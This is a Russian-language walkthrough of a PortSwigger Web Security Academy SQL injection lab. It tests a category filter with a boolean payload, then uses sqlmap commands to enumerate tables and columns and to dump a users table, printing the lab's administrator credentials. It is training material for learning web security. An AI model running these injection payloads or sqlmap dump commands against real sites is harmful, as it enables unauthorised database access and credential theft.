Лаба узвима к SQL injection. Для решения нужно получить учетные данные администратора и залогиниться от его имени.
https://0a57003c0432926b813a7a8500cf0090.web-security-academy.net/
Solution
Вижу уже знакомый мне фильтр категорий:
https://0a57003c0432926b813a7a8500cf0090.web-security-academy.net/filter?category=Gifts
В параметре GET-запроса передается имя категории. Проверю, уязвим ли он для SQLi:
Gifts' and 1=0-- -ok
Пояснение
' закрывает текущую строку SQL, and 1=0 делает условие заведомо ложным, -- - — комментарий, обрезает остальной SQL-код после вставки.Угадал. Мне выдало пустую страницу:

Для решения буду использовать инструмент sqlmap. С помощью него получу список всех таблиц из БД:
sqlmap -u "https://0a57003c0432926b813a7a8500cf0090.web-security-academy.net/filter?category=Gifts" -p category --batch --tables
Пояснение
sqlmap — это инструмент для автоматического обнаружения и эксплуатации уязвимостей `SQL`-инъекций. Он позволяет проверять параметры URL, формы, cookies и извлекать данные из базы данных, не зная заранее её структуру.Database: PETER
[2 tables]
+--------------------------------+
| PRODUCTS |
| USERS_KSJEGE |
+--------------------------------+
Полученная БД выглядит интересно. Попробую вытащить из нее данные:
sqlmap -u "https://0a570
03c0432926b813a7a8500cf0090.web-security-academy.net/filter?category=Gifts" -p category --batch -D PETER --columns
Вывод:
Database: PETER
Table: PRODUCTS
[8 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| DESCRIPTION | VARCHAR2 |
| NAME | VARCHAR2 |
| CATEGORY | VARCHAR2 |
| ID | NUMBER |
| IMAGE | VARCHAR2 |
| PRICE | NUMBER |
| RATING | NUMBER |
| RELEASED | NUMBER |
+-------------+----------+
Database: PETER
Table: USERS_KSJEGE
[3 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| EMAIL | VARCHAR2 |
| PASSWORD_ZOCUVS | VARCHAR2 |
| USERNAME_YYRPEJ | VARCHAR2 |
+-----------------+----------+
Теперь я хочу сдампить таблицу USERS_KSJEGE:
sqlmap -u "https://0a57003c0432926b813a7a8500cf0090.web-security-academy.net/filter?category=Gifts" -p category --batch -D PETER -T USERS_KSJEGE --dump
Пояснение
Сдампить (от англ. dump) в контексте SQLi — значит выгрузить содержимое базы данных: таблицы, строки, пароли, логины и т.д.Результат:
Database: PETER
Table: USERS_KSJEGE
[3 entries]
+-------+----------------------+-----------------+
| EMAIL | PASSWORD_ZOCUVS | USERNAME_YYRPEJ |
+-------+----------------------+-----------------+
| NULL | tpidtpk8p30yf31z390j | administrator |
| NULL | tubu1f93ucymkzey93mc | wiener |
| NULL | 8ew1awl6nyizysjnernx | carlos |
+-------+----------------------+-----------------+
Использую креды для входа:

Лаба пройдена:3 ☕